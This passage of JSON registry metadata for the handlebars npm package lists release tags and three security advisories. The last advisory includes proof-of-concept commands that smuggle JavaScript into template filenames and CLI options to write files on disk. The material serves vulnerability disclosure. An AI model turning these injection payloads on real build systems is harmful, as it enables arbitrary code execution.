api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v2.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v2.0.0-beta.1/manifests"},{"name":"v2.0.0-alpha.4","sha":"efad61b1b72a487c087f57ba85287f5682e57280","kind":"tag","published_at":"2014-05-20T04:15:51.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v2.0.0-alpha.4","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v2.0.0-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v2.0.0-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v2.0.0-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v2.0.0-alpha.4/manifests"},{"name":"v2.0.0-alpha.3","sha":"f419838362ad6f3a6f10179bcd7ca683d527e030","kind":"tag","published_at":"2014-05-20T03:29:25.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v2.0.0-alpha.3","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v2.0.0-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v2.0.0-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v2.0.0-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v2.0.0-alpha.3/manifests"},{"name":"v2.0.0-alpha.2","sha":"04c312649b0b9c61a245c4928f230935e9b8dd23","kind":"tag","published_at":"2014-03-06T07:26:26.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v2.0.0-alpha.2","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v2.0.0-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v2.0.0-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v2.0.0-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v2.0.0-alpha.2/manifests"},{"name":"v2.0.0-alpha.1","sha":"a5ff1f3d22178b3889983be29b31b850a4528719","kind":"tag","published_at":"2014-02-19T23:49:09.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v2.0.0-alpha.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v2.0.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v2.0.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v2.0.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v2.0.0-alpha.1/manifests"},{"name":"v1.3.0","sha":"0c6829f8af189622afd726bb72c195b5323bd6f9","kind":"tag","published_at":"2014-01-02T04:10:31.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.3.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"1c0614bd88b835b7cdfe1fb7f39650c18f645763","kind":"tag","published_at":"2013-12-26T22:25:42.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.2.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"096b8ccd2e376d621fd281e08d557a4632188aaa","kind":"tag","published_at":"2013-12-24T03:39:46.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.2.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.2.0/manifests"},{"name":"v1.1.2","sha":"47d13cb23c968ada3878b8bacf2813fb01758475","kind":"tag","published_at":"2013-11-06T00:10:06.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.1.2","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"09cdc19a21cd15059f1982f533bc65e2daae904d","kind":"tag","published_at":"2013-11-04T16:48:59.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.1.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"c53e95414f4e74bf6dfb2379a6b9b2468b8fcb31","kind":"tag","published_at":"2013-11-04T05:00:42.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.1.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.1.0/manifests"},{"name":"1.0.0","sha":"2a073e0993b40b81fbef82f681bb1dd171f2233b","kind":"tag","published_at":"2013-05-31T18:17:56.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/1.0.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/1.0.0/manifests"},{"name":"v1.0.12","sha":"2a073e0993b40b81fbef82f681bb1dd171f2233b","kind":"tag","published_at":"2013-05-31T18:16:53.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.0.12","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.12/manifests"},{"name":"1.0.0-rc.4","sha":"4cf0410b7cc3e06f09b98bbc42a3d2df8e561eba","kind":"commit","published_at":"2013-05-14T04:09:21.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/1.0.0-rc.4","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/1.0.0-rc.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@1.0.0-rc.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/1.0.0-rc.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/1.0.0-rc.4/manifests"},{"name":"v1.0.11","sha":"4cf0410b7cc3e06f09b98bbc42a3d2df8e561eba","kind":"tag","published_at":"2013-05-14T04:09:21.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.0.11","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.11/manifests"},{"name":"v1.0.7","sha":"b5074a88ec17917309f5482de004076f3f676ad1","kind":"tag","published_at":"2013-05-10T04:51:50.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.0.7","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.7/manifests"},{"name":"v1.0.10","sha":"948231a31d7d6786f1ea0a293a378b20928f6f2b","kind":"tag","published_at":"2013-02-27T13:52:34.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.0.10","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.10/manifests"},{"name":"v1.0.9","sha":"b74711e63b7bab7971cb1267f7f0bd9a60b525d7","kind":"tag","published_at":"2013-02-16T01:43:52.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.0.9","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.9/manifests"},{"name":"1.0.0-rc.3","sha":"bc8214cb7cb4b04180f4df33439ac61a92e1123f","kind":"commit","published_at":"2013-02-15T05:58:20.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/1.0.0-rc.3","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/1.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@1.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/1.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/1.0.0-rc.3/manifests"},{"name":"v1.0.8","sha":"5ac29dcb50cea15bee830304e391afd7375d56aa","kind":"tag","published_at":"2013-01-19T08:12:36.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.0.8","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.8/manifests"},{"name":"1.0.rc.2","sha":"9453c6d9d23f05c596123560ff9b5923e4eed954","kind":"commit","published_at":"2013-01-19T01:13:40.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/1.0.rc.2","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/1.0.rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@1.0.rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/1.0.rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/1.0.rc.2/manifests"},{"name":"1.0.rc.1","sha":"ce74c36118ffed1779889d97e6a2a1028ae61510","kind":"commit","published_at":"2012-09-16T04:11:36.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/1.0.rc.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/1.0.rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@1.0.rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/1.0.rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/1.0.rc.1/manifests"},{"name":"v1.0.6-2","sha":"08e580a23be5abd74bdb757063bb783f4f240ea3","kind":"commit","published_at":"2012-07-31T16:50:55.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.0.6-2","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.0.6-2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.0.6-2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.6-2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.6-2/manifests"},{"name":"v1.0.6","sha":"f5289a35ecdbd35898fa6d291600ac9427930b44","kind":"commit","published_at":"2012-07-23T20:40:07.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.0.6","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.6/manifests"},{"name":"v1.0.6beta","sha":"fe7d16de9196718bbe716d684f2a1c349f24284b","kind":"commit","published_at":"2012-07-23T15:36:13.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.0.6beta","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.0.6beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.0.6beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.6beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.6beta/manifests"},{"name":"v1.0.5beta","sha":"bef909f5cbf855f38f58c727d07dbe8330d4c370","kind":"commit","published_at":"2012-02-09T17:06:11.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v1.0.5beta","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v1.0.5beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v1.0.5beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.5beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v1.0.5beta/manifests"},{"name":"1.0.0.beta.1","sha":"81071dd22c5295d796ab702d910e167029e178c4","kind":"commit","published_at":"2011-05-04T03:39:24.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/1.0.0.beta.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/1.0.0.beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@1.0.0.beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/1.0.0.beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/1.0.0.beta.1/manifests"},{"name":"0.9.0.pre.4","sha":"d7f93c09e7031b28b27296b1e8f8e8bc801e56c9","kind":"tag","published_at":"2011-02-15T21:44:08.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/0.9.0.pre.4","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/0.9.0.pre.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@0.9.0.pre.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/0.9.0.pre.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/0.9.0.pre.4/manifests"}]},"repo_metadata_updated_at":"2026-10-05T16:18:11.325Z","dependent_packages_count":15556,"downloads":172578046,"downloads_period":"last-month","dependent_repos_count":1258975,"rankings":{"downloads":0.027434586854835446,"dependent_repos_count":0.027626245645238485,"dependent_packages_count":0.006516398873703429,"stargazers_count":0.7289331395571697,"forks_count":0.8664620115849524,"docker_downloads_count":0.029241655450064123,"average":0.28103567299432725},"purl":"pkg:npm/handlebars","advisories":[{"uuid":"GSA_kwCzR0hTQS03cngzLTI4Y3ItdjV3aM4ABUbZ","url":"https://github.com/advisories/GHSA-7rx3-28cr-v5wh","title":"Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__ Blocklist Entry","description":"## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList['constructor']      = false;\nmethodWhiteList['__defineGetter__'] = false;\nmethodWhiteList['__defineSetter__'] = false;\nmethodWhiteList['__lookupGetter__'] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here — creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference  `__lookupSetter__` through untrusted input.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-29T15:17:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh","https://github.com/advisories/GHSA-765h-qjxv-5f44","https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","https://github.com/advisories/GHSA-7rx3-28cr-v5wh"],"source_kind":"github","identifiers":["GHSA-7rx3-28cr-v5wh"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-29T16:00:09.697Z","updated_at":"2026-04-05T20:00:20.107Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cngzLTI4Y3ItdjV3aM4ABUbZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cngzLTI4Y3ItdjV3aM4ABUbZ","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.7.9","vulnerable_version_range":"\u003e= 4.6.0, \u003c= 4.7.8"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cngzLTI4Y3ItdjV3aM4ABUbZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NDJqLTM5d20tMjhyMs4ABUbY","url":"https://github.com/advisories/GHSA-442j-39wm-28r2","title":"Handlebars.js has a Property Access Validation Bypass in container.lookup","description":"## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):\n\n```javascript\nlookup: function (depths, name) {\n  const len = depths.length;\n  for (let i = 0; i \u003c len; i++) {\n    let result = depths[i] \u0026\u0026 container.lookupProperty(depths[i], name);\n    if (result != null) {\n      return depths[i][name];  // BUG: should be `return result;`\n    }\n  }\n},\n```\n\n`container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-03-29T15:16:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2","https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","https://github.com/advisories/GHSA-442j-39wm-28r2"],"source_kind":"github","identifiers":["GHSA-442j-39wm-28r2"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-29T16:00:09.697Z","updated_at":"2026-04-05T20:00:20.108Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NDJqLTM5d20tMjhyMs4ABUbY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NDJqLTM5d20tMjhyMs4ABUbY","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.7.9","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.7.8"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NDJqLTM5d20tMjhyMs4ABUbY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14anBqLTNtcjctZ2NwZs4ABUYt","url":"https://github.com/advisories/GHSA-xjpj-3mr7-gcpf","title":"Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options","description":"## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += 'templates[\"' + template.name + '\"] = template(...)';\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `'];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var Handlebars = require(\"' + opts.commonjs + '\");';\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define(['\" + opts.handlebarPath + \"handlebars.runtime'], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf 'Hello' \u003e \"templates/evil'] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e 'require(\"./out.js\")'  # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -n \"App.ns; require('fs').writeFileSync('pwned2','1'); //\"\nnode -e 'require(\"./out.js\")'\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -c 'handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //'\nnode -e 'require(\"./out.js\")'\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n  -h \"'); require('fs').writeFileSync('pwned4','1'); // \"\nnode -e 'require(\"./out.js\")'\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than  command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive  paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated  build 